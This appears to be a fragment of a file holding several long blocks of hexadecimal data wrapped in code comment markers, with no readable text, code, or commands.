fada2e34b5d7a4b29937070c1f4c41c00fb98500e015af07bd4a0289de6fa1bf062c354751cd478ad190fa936cc630cc784064454a0f197e30b52a37b3675387af36df8dbf14f39e29751dd0cbb17e2c0b7ecde2564e2f91dd40dd26eb343b19537a1c22e2e71e07e8cb9c46465bcec08c2158cdd151a092b63379ebbbf85a6d783a95480d9db59bc021e7261b32577e1d857dc179dcab9ab634dc3948c85880411cb97612a9b71cba754b17e2d87fa2f93adafe8754ef69c615d191d791ca67cc257a54901766a5000b01aadd12514e4728e58b7c567cb62db6339c23ae07126add81eae781f2fb60f79d4e3ecf863d890b2b5fefb4d0b2c21e205243652a5282770917da7c18d8e0a9828c1ebbef5eb8e132161f5bec60be03c60a5679671c79e0bbf3e3e091e1d1a68b489ab0f649ba1e7e8eb59eb5281daba9d73d87bf90bfbb77ae7733b779211ee756835aae54d4cf5cc73c33b258e112ba77c26297d209bd208eb15c29defec0007c370e493262cb32c45ee86a5972c86afb8a58ae40798e65e6f7392bd1cb35c190c837fea773e1a4dc16a4a70c0c2331e11f388ba4e978a7f0189da0486af83ba2b0dd943f8be118a17a11b8e9e0144b55715ed8fb2e2de8a941acdec0080dd1dddf06b73e33b79cebde356d1d236c67f1fa99f67d63a4d6ae91dc91b1035f9a47b80b8c63df59c4ea3094f3d1f08605447d8cd2821ef634c5a9951ca118d458489c7c61e3d2103513321d9ffd18cd7dced01354023cdd98993edfed6025f84b5a47d54fefa9ec4bc4d7c0d0150d0fb3acdee8e86f0c76a5a4c5f863fb99966bf086f8efb4f567abf4c529e2da538b7199e9f18770f4a142bcb19f14ccbe64c7d379d7160c2ea67c8f6f1c1da8ee80bbe0663e0c6123102617c78191ec5ca17e8459e6b6db226a01e0da7a5fb6d190acc21e638be42075264988af08865c4d61c085aab57803b6804270de4b30cae332c27fb20b8614e6674bca78dae826dcf12f3ce54529f7f3c3161dc58fa3b09bc84ad333632d225486ee54a788b81ff1d01727ce4a46b7f0e372762aa2316b5ee951a547958e28b7fa1cfd4188e448c3411a69300d0003249770c9ce49f6c22705cb4eaa2148d0b2018f91fbdd85362e9d432ddd0da813b6b97dfbed550fe2a7e9e0ba49c62834f7395245aa6d891fbcb5174204c234b7751457d9ad9925e6c8b1fbc6900f496ba9b6f7585dfbacf4635528548890c2e3d96812c2cbf578531bcbb6c83adef9459619fae6bc0d3cf73b03846024951f9ad357fbfd53936d34ce4b65165c86fbaee953fdd8d47bfaf72fd115d520a1*/
/*9e4c72d5a03e1e19a531817ccbb8ba0dd513298c12ae4c908a2d0bbd1c749dccfda93f1abd7023dd877bfdfc63660d4a4ea40b7b6d43afc1d1f09d71be84f4311f8afed73bae38c70726d46224c087037db24dac9fbd42f3aea84837e5aa872dce4bf564e3f4b56f2f32c905963e6f7b2960fa0ca5cab636439afc7e49066f48d54481bb43d1480e089eb48066c87c18b7e6b67fe3e0f9fbdc21746b6565fc57e718c29b0fca67732890aa6a568d704a8e0c3ef24b0182d27d65ac03b1d5e7aabf1e755ea9eda465621f4c3bee53618f3f739d8a48fd7513dbcef95270e78e8c227e1813e6e49c44f5955c95bdc3ad9410db69c80f5028e811bc3958796609685422eabbac11048d88539688b91ccfb92a8a330bcc38f516c1a3e08413de3b745d366d4410a026de31c7da3c2105a1b97dbc4c6f643967e12ffe25bdd9a5efdd952bafead3c59a772004e9e95652e57aa159480e7a2b1a679338d14e896b07bef2f11d73a39dceb6a394e0b71039e00d84f07298400000ebc3141451964293d9f4a89d8bb2b0a0384732f12239f9801c964d06deb04a3385b1bfeb55f7d0e656454f8a5385bcdfa7a3b04c2502f1cfbcaf473c0fedceed60baed5a9a805d60c4fadcfd0523f76b76e61414751f0cfa507e43bac6d568f3914ee27ae4570c983c4c1c60da75038bcd0930e0b15c1633f293c5dd1fbcd290de0e5980daf1f71aa22f0427057d29e95adfe6bc2a83ad272f1078db430c06fe54b69da22c7aaf384a0285d3e02a1ebe17bd3139af71522b93aa5309a4505cb02bc51ec1c6c2f816a2ef954dd2d87e077e889764029d72dd379bd5fe00a84a1513b5b0f268862b6a65f8d5135cab68d4391c8a1568fee3cf617cf11b5defae78ba5a880281a19f268f16c725e11218ed1e5e407d46160df38bfe9839a095f05d8c1ea1015d933146f9c92f0e362f697ebe43db34b1187568c92b60d3e7ad3f40ea0b51f02527f72425fd576fc6218ca7972189c791a5d64ca81a919c1df8e61592129f0c1e730dc4e9dd991dc1dd6642f9dbef8cc29cf7fc0dabf3b0d4134b8fa5be72560bcd4c724483215dc9bee04ac976439cce6be8b26b20cfedd318104eda3376132f3c98c8b9ea07fb1be7bec4d6cb94e0ef7698995ffd57d96116ba06ae936ec21a9bd3fc47d123aff3ffba715e36d1eace0b562e94976573396467b44b37cf3a71b17683f01f056f504b2b27fdc394530e92a0ed98ab10a902eaf7902dba88e1a5e5a355dad35f56f07a2274105d182902b370c5d48a15ca09f1a16af41bd8e8379d10de27b122ad60ec3d99eb268613bca5dde91b695420da85988ebf1396702583f088fe681481c057c7582783e450bca439f5a37ec348d270ae1aa7609c077e4f5af11fb71bfebd232dda426457b631276e8e8c857556e292ca954d05a2ca179349fa058fce097f9fb85bc68d7c4f94b749a1eaf548cca6fbdc347e4cc4de789c1e3cc9c3f911033f0f5e31ddd85aef54f23f2b6bc7b3abce8bd46936b964dedd8b1091a7374de5a52044f5c69049b0bd829d5fe44c3d22e620c05828f4d1539644182f0787dd7d2192357da335c420adf53b9c336dcbab30cc850d0a300f74c587708505315593f8b9ea8cd292c7bf18daa7df28a8b82d90c5620aa289129f864cbf60af9f20b04ead5051c31317474f91f8ebb1b19cc025f06c9e15b35e6ea4d16ff3af29e0364299bb7fb6bb8a44fdd7b7e8a105bdb23fe0962c70e90ee7acbb1097670263499bab47c06eefa71f0773153e8b3eeb1b1061515a26091141589b3a574c0074a79fa2adcdfa1d972512cb7f2da2528306baf6409f182aea90149535a527c55d30b0bbfb151ee78f4c34ece746512863879dced951bf7cee1f1b7b73f950abd03907bcfe9dd803fcfafc30d3baa26245c48db0d24d1fbbb2a654ef4fc66ad7f9bdf08ea7bd81c4512e9e3702ab1ab4add491dfb3d80d070e82369e66546abd3eb2afe6c43475a95106304a7b240474b2b61729347b71ca209ba8bbca501331050e0d2d988c55956548e9811e7de5c744bd3473b7c70398861df4a7125290fc8a8b850c1a73bb8b51c7552606f8d8b0c2cc69422c1de208def32d99567cd5b660c79d33f86e665a62558a53aba967a01c5f562f365c882fbe055c1614dd12f5c189865946a59adc495f9e4733c6d75d2ab360293f6601707e421dbf4fb80ed57d00cf290862c9d67bac140d0d6021b51c2000cfcdc2c93702a20c6580aa24d0fdbc82cd6306ff6029c32329ec9d577ae4d01d431a03ea97d513ce64d25e1158710cddc86132946fa4526601e5366d06c5b4c43ad8bb690a3348d1354eb62c6b90151c68cd4147660dcb6b698e0e07370f47e3b033446ed3c9d90b184b3a3fe4c76473322c13efc1b6dab7fbd5dea93655e21630ae4d5ce37774c8062dd4c16a89da42a1253f5d7e2bc1f2280bcb5f7cbb1973d69b3639705ea46faa541ac765ff5acc2c3fdfb0fe20a26dbda6fb2e70a6c9e5fd6b791ddf4dd22041b25fac139706673309ee5ac7cada2abf8297b864af537b5fd86493c8489c270aae7eb2daea308ce000a7d7ebfea2124bd3fb6e2073cb999662d8f95f1f23502a2e73e6fdb0098ed2ee8448d9f71f00a69160438ab35ec9444a51390bf90e69ec768a4f94e9c1b8bfcaf31fb050f8e04d508d5bede860efbe883b0ca5232848d999dff559156a684ccc5964cc3213f4a6773bbfc5f08b925a171d56dc8c0d10fdfe367f125222890c9b726b2b8773c651e91f95df285abac5d5a75ce5e9cf7db0293b70ee4d31323ca17bd8e43574e01ae039*/
/*2cef69605c732800b3d3db1f71b051791dbe2676e7b916908f2f26d3592cbee72538335c9e31d11691422060d12c199e0e531bbc50dd19700069510d141b3035a244463736df33f750c60c2b8357e0a3ee79ea1c63ce7c92a2ceceaa796068fd582bfbc707055e8ca7b05aa050d06cfaa9b38d872217cca2e58d1596c5b29f0a55e7479d43f56f19b962144fd16eb00ba2e68fbd98cc1db1a501f0c064ca590e9e3c95253982d26b47fccb2bd9bfaf9e840a464d8b863878f3a263bb34c58f5acbf570006afc8d933ddb23be904dafb492defc8c48c3236998a4142bb073f119cea9fad4b0f15e023d444f1121a9b5c8ab7a2c5093f0fc0fa5a669d91e905c68ebaa5643007f024e9044f60767a7489c67539c84810fe18792a118e86b353c3287b5075725567a5ba4a77dc0c15e4250c356020d20663d57397f199bc4d722ccfc02957cd083333a719d4544e43d9903291f6dc1a71f594d1f40547e683fa44f3ca3687d070c3aa5a76cceaa2fed51b0e5dd3d730d18ba1bc2bfb1cc62e2187d3b1dce0ae24c3a0b9924256509c5277117b4c37a0b6b0f8daf9aae56f52fa2292e664f5a11e5edfb2a11e73e3bd6d35cacaeb6a39add721c5e974b82509baa1d0643e05f891141d01da10b9998c25f72b7c176ccbe096b11a9ecf99fe752cffd71f1327b8c5b8c63ff4c0efa87fc1173d42cace1cd7d4e0897ef97b5b42bc064cc0bd29f1dc939591176eb5b142d7881bffa4f9212a631169a6bbe1ae895d702e69a2240966b552b6a37ae9faeacae8e4e998cc82c2249d19f19467479fb6982f78966c4925fe3cf3ad18210c2bb95c114364b765d9cdd21b215b0576d20c35abc6da632ffc8f471e0d43571825a93fb260ccc45b4a86ccb10872e232c9d9cc7441b90fdd03124a8a03eddc72462448c5389530b672bcc5165d20a69385ff628ca70b4b9681edb28333de852da67b74ea89d717683a804ffd612e24b6cfc5d97bcb1fdbcc021ea1daeeb461d0e426719c5cd3828dc26df3a93fdee956907b4646b60244b235728a98dca81830c919482261eadc4c9c503fa96db4d6cd1003e2ac5d82369e1b2498a2b3871070e4e43b9e1d2124ad3f2af17f9d6d539173311d1f2e80b16b4ce3bafd5be136efc5d69024661f96f9306a4738a3f99f2fc5d299591390be2e4fc0b3280649232985ff05210af99e26d37d8c0e01813db03cc21c313500663f5320b9861898f09554f0ab8b067ec330464703f13cfa5472e2ed31af819e6dda0aefb664aa9c3ae1e5a6161b8c29f9b33e7aa289bb4890a524327d80a7e781d6c313310b8c19e1978f3a5b046eff5a603a2cf2d58fe42aee4f317fd65b3c7e3a2ed86ebad6fdb6fb172abd2743f8280d9d97f730a83aa248f13f337bfb543dfcc08890b8a13105ddea0afc3e4f76a61d9411694d85381aac82001587f96b449f31838791b37e312360271881061bcb265cab2f74186a69f7e1f25ae61930d376db647ff13ded97e9a324d6fa7e5506dfbda18e861dd99e51bf945bf5e223819afdb00d2d2fa92e3dbaf8ee107124c1a66fde635b0ed2f3d832e499caf481aa3244740b35fc1433098997e91ef225125c1ec0e962df61e386a31d7cf148228182d059ddf8a22b1a07fde13e0898b50f75d2f7f93a5b345d571b6b2cbc6360cb4d42f0d7dd001099710aa7a0bf3a6a26cd237f1a995a39d1f420ff758b968f1a3716dc61ea9a6be11d3c767db428ff38a8d179e7bcdcfcb637ca3642c4bbd83d768332e97210ab3d0c59d8f3842ee9c8bf65b246f186736f814619ed2c52c4a82195682849f2049f56822a03f478f3c5061cbed3141df50102555449e30055fc5b9e08e0c6491a04e6deeff0aecf3c679bc4615e2e1c98a9347d0828d6fadb7807487a7c80c016295cb123891380b52c011edf25ae6b82ee09e2c8d79f9d44270bb167b8c45ed2548874749c99c4a3f08a5df6cff9830e3706dacbcf85eb55baa99d22787bc3b944beb5c5b7b769b3051ebb0da80a636c2b215ad16418a36ce0ee8408221b479ae6fa661e1957f2e6f4ca27493dc79d5bc2b5b4b802cb58d9cce4f442dc63eaf63466ca89b8aca1d7cb13bb9ea2319106dae300f1ca094838addc1ecf3aa6f964737d68f1994bb0612c70333ca39e3692aa40e752835941dbf15aecfab65befbc1d970af553308e0fbfdd65cd35a93b78602e899e128b8071d4fcb3fdce17758411831cde1a0617690bc1db52bed20b7ce871ea99b8b7eb8910273f4106ede0e2b318f894a3966c5e7ac3f2c88261a96480059590b921b302dc3dfae36b53ff1e1f9dfb19e53f7349e794bb854d8d9aa6b6c70ebf64fbe6d1a8aa7db3236dcc80255cf6be7ade6cd57a18a859ecc360bb7d1d691a916e2ec0ed645437238d03b1f015aeb7e4cafb833cf7d133db7c2d01b07258028e988e15d0191ba1e1c4f775d2da9eac24f78de93d4d774a2b1fcfb4e2f739025d0667db00bcd48ca3dddb1eab194e111dfdfbd9db3bb8e7dba0e84e791c49f76f063e157a0a07f2829d7ef5cf707b87f5996ed4a9d21070adfce8f96f774f98a14ecb6a056a8bce85ee7b2ce4d469b9a9eab44552a798f303254c236144eab0c2a0c284bdc4332f5b7981e393dbbef6ed8ec6d5d0f4a63cbddd92848de18a7836d30a0d0c13693a2a47bf0643bdd92dc863b43581ae14e4559693ee93db6c35fb2a3aadc3e142ade4535aaad3e13c176ef47d572fd1c289294c18b57b2ca72b87ef30bf45dd0f70831e7ebe50923ae25c669be609b02f9c87040f134b83ab554b04138ac6e56497a6e799f68d32a76353c*/
/*bcb1afac324f3157062824ed75e7f519e6d0a367e2efd9af72ade7d36a12bfdd2f57953f11d5caf9beeaf8f7bd53133a8e25ad605d302c394a08b0697fd254618169cc39720dcfd70c252414c66ed6336ac4b296c3999a4409ec90ec59935b8917af746b0af8e1ebe74b52c45976867f53e9e469818520f8091fccb5ac788e38af23abad6202c676a4a6eab7062c9405673d4b88abc5ba329b66b6a300aaade3760ea95ed2bbf962ada19f8ca65709f5dca0249deee9c397fc4bf205b52ba4a3c70c00c774bec46a7a4235f2186edeb09347d3ebc723ba9b2ae65eb3e9b41e821d5d5e692dfece213014207c4ae3b92ea25d854e45b4a36c51b314c58e22fc4e95b159b28c46d3da55f78dc305b316e4ca1e5c0ceb515c4db9a67d65842fd25ba6bb7f0703c508ee2ea603ae3e848e618be9bbd7ac051195e7e1fa621a64acffa0e8e631a6cb8f1a0be14022b598587f5a77d164af845f4fe94c7cc3e7859ccdcaca7c1c8c3a6942189ae4c8aaa136c0a1afab971eb3a2a67c78f227c222bb765a0c3fd23cf4ace0d1c28b5b90ca7c0cd53d66a35d1d2c467cab18531b4c5232180eb9efb1ba7e369d6159aaea5b355df98e7dcad9e91334a63274189e240a013fc0e14f3ef10ff7fe6bd7a75e1792ac5dd079c72215a257fd2c1f019e075efe023490d66a54918406bac7dc75af092320b4fc89f6d5e313199e621c11ae73d2fa4bac2e2c7b1d1bd1218b69ba6db16fcbb29f19db0bcaa40a4e810b30f3d567fa041d30f8a20bf01683143790a10d9666f1828a5e2bcb882a05be870c161d1334ce3801408e4fc601ea97078daf11989ebf585b7bb63945c80ecb1d3e4919f854bd42570ede6731771caa7cbd354e822a59452a84039d79fca5cec70d9a4682889ff3c8dbc1478c2febb0624a1f4c00b49e98e9ea64e7f15669fae777820da2dab74698b2132c617db5bc911ff93369cd58322e15e13f74fd1964f7c3a6ebcbbac6bc944dd4e1a5dea5a7477bc762035e526fbb47ecd0c777729e0fc17cdc52904054ede15d00a45744883fe1cd85cfa4f0eb9a7d60aa81036eaeaca1202f3bd63d9def91a612f52ce9d973766848ffa9bb084cea072470eec58c023655029ab837b345e080a874441a7e3e53d67ab6b74bff25559d932be81adc1b1e23de7d1178201d7cf119910cea20ca9d69e6b482d1ecd77491b4a6aff41b0a628adc2bb3e05b31d50f61a2e1a38b68cb998a681719814eaa1f6258db2923fa0e5621cf8895a155ef78bd06e1b9363fe8b718f6620bcf41e8f7e157ceb35e1fec29c6b7f029902a5fd3f4414aa5a1c1db865de09e3bf7a721f3598250942fd093d940db453e06d73840504f7c8c8e46e01e76df315d6bbb88b5b1aa87e16ecd52345e1410e6d634cb151490af0da1ae218360f605751e36d15ed432fde74830f4c6b3ac4b5f49a523b5bec139eb2d61c2e7b25f2fe92f211efed5d7ec481938da068daf57d7b522fb3b93f1d1a584b868c46049466e3f48c6df775043e2ef8b902d66f8280dc71a86eba9eac4187ba25fdcd0120bbed0b0514f5c9c8979fa1c319022ae5ab3b4fb6c4d7d0766532e6971b4f4052b3cbe765d74e053e390d38dc141eb6dceadf96459b4b1ca4dee2560df4128eed1357a220a31619824b057e344a08a277a952674c2eef6b01cb4df69acb96fdb9418c2ab6c5d545c0d4e8c235dea0eafd8686b0aa0aa83da9d08def37c203b83797057dd4469cc48b89a650b4813c34fe00b50ec6d5fd6036b9d246369b2d5b26e07fc8f359a87c1d2bdaa6d75b451aee7fe2f265b993ef1c30764a0d3fb9d4b81856f5a874d6b358fc3bd0cbb57c58204d81640a11509bd37de7ba8b4cef8e23574777957b14c16101c7e314357161c2d81e589d9a5adab2c213ade428cf9f57578e92d2b7587a37367d8acbf1246306a429781e20b8dcd7703ad09aa69b876ad3b112cfc564332a0d54985374afaaffcff21b442677f46a4215085a3e626fb5ddf15fadf17b23b9e8d2d7a89e4df10dd7c14a80e08cd28d33385ee24c9776235c5311457014bcaba3aa5ad751b9b969d7891cb41ab6b88c48342d0d1d39890722967df84f8990b6e8453ad8556da7ece7c50e3fd4b4e7837df025dbf173a8e25194d67083362c750ec4bf485de8354523947f5ad21603d26452d414aec1a61c3c799c3aba048a251a5fdd890bd4386c584ca39f96cdd14c498190debaf6568910d5cc058c9b5d424070624172e03490494b1c08be05dad44e4380895526f9f9f6cb2c66eea5b673ecbd8eaddc0d66ccfa90903687e4b91dbf126eea77b2ca4a877a1b0dc4cda0b3331ef30d762084b86ff27ec9b95dff0893fc253f4f6c1c75fd2b521e891fd9ed0249250efd7d700540c971bae4a4e4c10f68af3185cceac93e19cd95b15dbfeb737f22fe42998dd8e8c80b4624f86d47cd7e09730429395247817a9ef55006d3f42925746b7ba8ce04e6b96e4ad792a77ecebe968186d097dcfbdf2441b6bc9bb48d43dee7f5e06e96808de401ec93db7a5e88512dc05c0908c30d2a6ed9c4ed1ddccfc189a25f5e3658314f0c004011d4ab27c18aeab1d45a886e93cac9dbd825fd458d070fb407516bc7bd124dc1ac829a2a03060f337d54a6f49b42d2798aa57a02400097d7c13effe2ebd141f237283464bce340fa99639552ad87d4659ff4e62ec18a7d4ea9ff9e4ab4cde6163e68be9e77d417c580b4760335af673025ef5ca813efac684a461a3b0fe15eb63291de61d0f7dc289ec5a7c81f8d2183617ed181fee2393fd4d02b6eb440fb4a10f078af877c728eb*/
/*12f47410d903a1ca03c02f0c89ba843bf66e3a731e3c11533d7aab05dad913ef191ad8a872b3cdadc4242ee436bfe4404b76807e0976ec82d12709ecc44dff028cdf99e70425baef9231dd69615ff3ccf1ca8c4190de44bbe41bf8a8b7e5ecec8376417ca057fb721080decb28885d612a7d700c8e9124c7b2c676936f7dfc2aee7b41dce51facbb9a3b4c662ccf30e5afb8c39286bb16e9ac4a1bd1bfc3d7f8bf74998f0849526504375dbc88bc227026784a98e384eb494c5ccb4a41fb67cf3bb253bdd2ca7eb60c2fa342a9f1ca5484f97ebf35238ea071e6eee9053f05a43a8bae8d056b13311dd5aa97eee23944cb8d02edcce6edb370990548d4cb3caf7918e4fba497324f2aa7521298d051dd957741eb46d8d783d4af4a39b88fdb43133642b80bcee7ced9d176b152db3d414ff7244302714d2438c70d963c2d9bca892c8e2d1a5c17b83e6dfd6e09cea4a600ebc0ad7da79e834d1c1b8c4fd9c657c5f997424fed0178c6b9c0ee2605193afc88adab942a9c23c594216575d06d9905eb25a4c3c03c88d5c7009a6c886c59475f37ebdf49c22cb5115e511c01ccc57748034770698a1da5f3ff8205f9f7e3d7ae89995f9e3a8bf942edd0c9b00ec7f77efcf37544c04bb01c4d70504a989703a170be617daf58a073eff7bc11ab1d76a91a5ed6351e871f54bb5030084f8a89683d3329598cc6d50f2c20c78faa947f0832f6b920310a1fbdebf453a954ef1fa47b0dd36e49408ed4fcc162541f92c02dd09eaafaa97c5f23692a65341710c7ea68bf8ed321e4ac83ff0125f9ecafcb1eedf63e020dc2b664deb177ee4322c9d09c06c46d24b8da649adbad2d8dc82adae6556ebe13b38180cbff3abd0c92341cd933344d63cd6fa3192ae2cc586959e23d3db50860f9ac8464078bee41d516005c4339e527e7c4043c9429153be299a30d883ea89afa1ce700e18c68dbee208c059b34ef24e9cdde3364ab11137376868ac35192c12948afb69cb736427dc8d0d1f437a31b999b3b1b9af754114e3596d46ae079ad13dd95bdaa1245575cfa4cac7bd2d489e7947887f3f8ebb23d4599acd91f0239c1dfd48ee6c034b35632a780738c5d1450c863913058ab555c48274bcd1015e0d854dcbeed68bffd71933f0aba603cab6af7d18f52707332591dbe08e0d94fd72509b09ddcfc0368267cffaf9ef1d56751ad4ecc295c57959d54fbd2252653bd24af7516640bd209c2adb75edee44e3952abb6d8e0278cc476ac904bc56a2606713b3c3d73cc6eb707f61ff3c9104aa175564c23c4515207304e4b8cc27b0192fc155890ea31adb159e147ff752ce21cee1a2e7dcf9f6c0df09f637a277fc0d654c13c35f7a4a623d43d85837176d4ce48456c37dcbe801fc4e34c6790c15b51a582844cb23d1aecb99e1aab179eb4e111c2db1d7f7810f842833d3ac071c07138dc88351edc9218b1bebc79d9ea2922e1f10a2861f32410c8e58d2f8d1a7296cc679776df0ebe567d9239c92c52522f890fc68d7c2e54689a6acb64140234a0fcfc02ace7adbadbd9275b2a36296702afe70b2096613b98dd181e0a00d4318ccd7f5e46c66a91d9649a8eb4f62ed95f8023b316cee4bb3ec0b2e6c117c475802dcb0325a05834c892c1a19322a8fce89cd4d3ad3adfc7b316b260526e73fa7a340ca62f73e8950c732931ba056768df67bf59007912fd94e4762cede7d7a567d3041ef4980ef4894e72eb13d1f3383bf0e9382e38dd047a7ddd0cd878a9ed5b4f7dd9c2ae15010a5debaf99df3bd13a51b4f2eeb160ca9f468f6273f740085d7202f734f5f8957960c33b3e7a4a438436a85e5e0ba714a69920b6c172f00a78e383d0f22e035fa147330073e9ef7a9d26e433f7a1d25a017ed0de27cdf099922a116475ce35e65e7f644d12f32d9c7e5532a0aaf36f3e5bebe84a125cef9e59b55251c3079600b7e968a56de3aeab95ae0c354abc29fad78a4855a7c04ac39b97fbe774223fa8e7f23b344f0bcf7e024412852a355dccd8e7ed83af8f5049190bf06003c4665ff2fc6dcc3c5c5b361165d3a4656e190cca18eea35d7d1670aebdd9ea88ff6273aa2dcadccb7d1b97cc43f64b0f6f7b74a3f9653dba553032f520db139a1d03749252390441f2f95295ffafd15d50e504f280e0567e1733c29e7c4f2ad254706c142c9ce9641689b5340b9821e9149acf4fdbbe111fb7fbb025d727b3f5234fa8f09e1ca620ca5d5312abae0783456cb9c8666e537835d15c7e380ed449f8427261353cb27874a8c73c9496262ee73f7d01853cc511756c3e964400ce5f8eb1c86840884474345f23821574df9de1ee2fe9450266ee0d073b26f611cfc87cea04569b8f15de8ee152458c6a430fd34d64c7046ec6825ab5f505e2737aaaa66909a193561411d52aed556ae3774d0ab5bf6aac5a691c91fa1b3af4123bc98009e50eecba7a07aafbd8121230264c7b71197c3a4d13d85acf3343c32a77dd80de047430a491ac3b573c80a8d005572632581c244874ffc85b89faf085a6148fd35852e9c2a59925e4302f30c1dd7d97d7eff71a628b923af2aa05e4eb14f689f2dd0140f3303c3ea2d1ddcdc22788cae827108c36332e477ec39698a0d0e1359e3e1802c3e3e2ed382e243ac5bd3bd40c48c9c43f407f5bfcc54766e3a707a44574d4535b008867c8b45c2cc6dc2efcf6fb3bd61ab250c0e064fa5e6c249f3f506c6bf453cba7e776b50a84baac4c21368b462d422e8f4ab7dd0cd7018c02b206dff6e5b88f1896ca1c1bdb0ec75aeccdbaa843d8c9826c4f39b75d1982a6beb111eae4*/
/*6fa8cd6ac3a6cf4790ab276c43e9bea243bdc39ba2e8607c59878d5ed25b91bd70e38596c293c880e5cd8a96a9370bc95ef6cbeb7656a06490e16e7978020976720aafcf1d42c31e1b877212cc4375bb4ee272d9163e4968436803b7b6ea0b4d2a92b7374dfca17cdbfe860c858ccc7a825d761164972a7ac2b6336d09f4a5e49e1cf828c651203df16c55c375cee44873f218352c13117bac79d365954d9bc3ab49dec7fee3691a2a34d2efe33fae8d97227cd63decaca23574c3abe36824548dcb4145f8c28d6b3582806b6cb8938c1cf1855492990dbdd1b6f90e842d34d3116f300f34fe3cae039225fc9db4d4d1801c54bf6cc7b23e2077734693746c25497a6b770f64369b0a09ff59fdd780305167e99cf61e2c9054813ac637e3eb0069df681525bcb4df0af36523ddb2ace24173dfd4d02374d46d8c458f8e9e219bd880cc1d020bfcdca28b5410997c816622833ff2aef5d1f9918fdfac8b0e90dcccf2718f88fc500c9e76c4b63e749bc86d3ec368ec25ee436b1396884e5e36bb89082c08b62139ed2f0710bea516bc2e9835fb4600bc777fd9149f6a1d16060ef6f9a2ddfb90245c213f9635224bee50c19cce79f66baee9e5dbdea170cbac9ce0ff7f2c2156c6cef274a08befcdaa7eabd8d6508727c9d03f5783bb7d0d6d7471d48cccb75493417ea8004bdbb447c0b3d85d17133249d508a4668781e422722b96718a6af3ca990940b88ad615b81a3fb8442b2c77d91556d7c6f396f296b8ee75b45956aea88d2db015cda1e9f4d06f86e3ba95b92dfc8628b60b8275018fd22b77e359fcdb796304473cf57db699f6d1ded780f447797f84f63f624759db535736ad79993e32feb70ea188ac850fa89d0e27a0bb44a7a19c0d6120c393d59b07b72125613eb2b1edc9afcbbb96de4b6c58219eb65ca4d6119aefddc9347be5a9d79c9d7f29d337567e6d705e95bfba95a5f0ba52d96479738a9fbe7cc09c5ebe3036adbe8983cbf374d551038d9bc9b7bbbc465197adffde41bdecd373c624462d2ad62807b30eb91c79e1f4bd9e2d2d20fae2e1ea851016d78e867852ed140bc78ff28139e58a1d637e40920b2e6483477f6726c09a25556ac8911934de71994677ac56abb0892b6e9703c0a122066757ff4efeec62e03cc6c4155ac834b2b9e2547db6afa2a7e54e051893efc4513ca8e7e93428f3ac6106f26f6ef0da950a87387ea50a72faecca24fcdfc9a25e1cadecc55414527dcd9361d4f96321c1f54ea4e41d68bfb99c45ae8e31b7f377cd50e0b389d2a8ad9a8dd93e5afade7c853bf75b149e49ae07cb91cfcb5a7f223f3e7936862df6ce3fc8b91dc42f2b068151c4414417ea34c31a4e092a1874f06fadc81ecb512f6789f878190e0940b3406dda6d830aef5b570666ebb157bce1b85452cffc26463ded8c5199469b1e7ee9f5dd12d479178bb0f864591e1fc0ab9dbb4061da12caad4c71eea00a98286accbb2bcc85d94eaba0d90d3de180f61386d3f1196a3117e7498801b5792422dec41f1e2326b1ca9955c8102a59ae1075a1fde73a9cefd24cb1eca46da6f23190462cf182fdc3e1f25721120fb9d652c553d116200179371239ae99c5dbbdedbc56c7970e4879f4571b5c86f56f2bea06d12c437891cc64a8c2102084d8f80fcab3df18f7235c800e38bdaae9ed7948b7bc10daa787d06691f0d8fe658126843c291bd32106c2881163673423210398cf44b97991f99c54a0842417dd88a620229ec2f2565c6d367930495e65ab4df6f33e7c2a0a87dd50bc936a2e9ee03fbad67c50ec94e91a4f3ccb36529b76de510dc025c3b2a56f405e14857f74ba42991608383805df4b5648f9f12a280e4e37355c17cc61725b868394e92216aca1dbae4c1f132858f286119561fa4f03e8cef70255c05cfa5a15d8012c2ac0615d5d3c4b4065a31a5bc777daa4e9b3418cba0928adf89a8bed597519348ae36fa587a6dfe73aafd920ea17dc3cc4e02b0d8a040ef34dd1c6dd3284f1de0968ab06f12bf410d3d61b939c48e5a0f43efeb1f80ee06bb022919e20e07af301844dc976cb20b64a1e478ee195cf7d200564bbb8c81f4b721d6bf1af1b96b0f75aeaa171e5bc2293963d32e35954c08abe587070a3af0173a0772dbf1f9755ba9bec79bf1bd8d833a6ec4656c50bf2eb8a7f98b4e5ac41a71bd0f4cfd9a24677790c7c7922ac66a89ba80c9c828a9dce6865a5f3d6ab0f18c9e5b78550e70b7e44f96c56a423e3cde51326abf004ef858b29243c6bdbaf224a4a3f1ad989f6e6ae72f7c9c44281efbbb5808460cf219734256a5d98f7624844b48370fe4ed2a195dfa1ee20e5b949184796b33cfd76bbcbdd7a2e4ce03d0d371fcaeb5980f739a2885938bf950672ce96d0a2bf53011a4321bae6381bcdcfe0f5283fda1f1feeda2508c014810892e267b6e2cab9161cff5f192ddc0c676e790d8d65988fc51fa47227a1276cf8d9034a37bfec1ecce55a47a46a8dafce414dc690781d8b2314b5cc821e7424bd0b060591a6e39e0bc93bc170b43d41d4a685b8a4146fdf0ffe083bde59c2aa166b21131e6954e88a6ab384e062b82633c00f712ca65abf3fe86fabe1a44fdab71c8b8cd1b193ef6e7bc8f369b7f83ddfdc873bd820a8d4c7ce1fdd5b4f6205d065225a1cff34b3b13de86717b056852fc9093c70f3c079470ac21c8ef1582c78f7211ff43e4d3f4b9e07cf44ce1579230e114a30db99771dc399fdbafe858249cde3f1002c1264167ccd9845bc10a352d32cc9202f2964952ed4ad4bb8d4b1b0e1ce696b7e48972dc0fa6f6916*/
/*8102c840b31a5edb1ed7c4abbfb2e6a3bbb045d88064578dfb5116d826acb10ef092ddea7f4d4a290c1e38d5ddab9faee5a2353d63f3c207b836d7c8c0a5195647c0f801078ae7770c32d9e6a249d80ffa04814b86e812bbd40b350985fca73bf96588010cdfeb6c1747773b9042429ecf3dfa985c0615128e94afafe6597a1869c200e199eb4bcec45b404b0af44cde0a2da354866c8dbdf5243fc2e7c7f27f12b67b66a06457b4e43e020995f7d37b9af4ab5fd9c7a80a1a6c5ec603839a12a1c6b459c57ce2a8a17e7045f338940a486772f59a46d6ae1c6e771ad282b800cacd1a269f45de3d0edd86d73f59840498507cfc007a7a359cb7c4306b9ae5d86efd70150b538faa224fa0d831b0dc11147b2ab321e4eeed7612fb3ed75a6813db4ef4a3faebb722ddbdc4305c60c213838347a21bec1be05ad96451df5a69fc400a3bba95cbdb5163e9b0c60e4b75423f56f68bce79952b4466358c99ec886e35bb8286cf721075fb17f1ea667f37b01f92c8bd30b9c16219d70e45ae0b8df8935844e0d70fff6d219080d780d337544ecf1d0f0b967b8a2a37b0fa956963c940c89ad4538829208ac5fee8f39d7a921e7fcf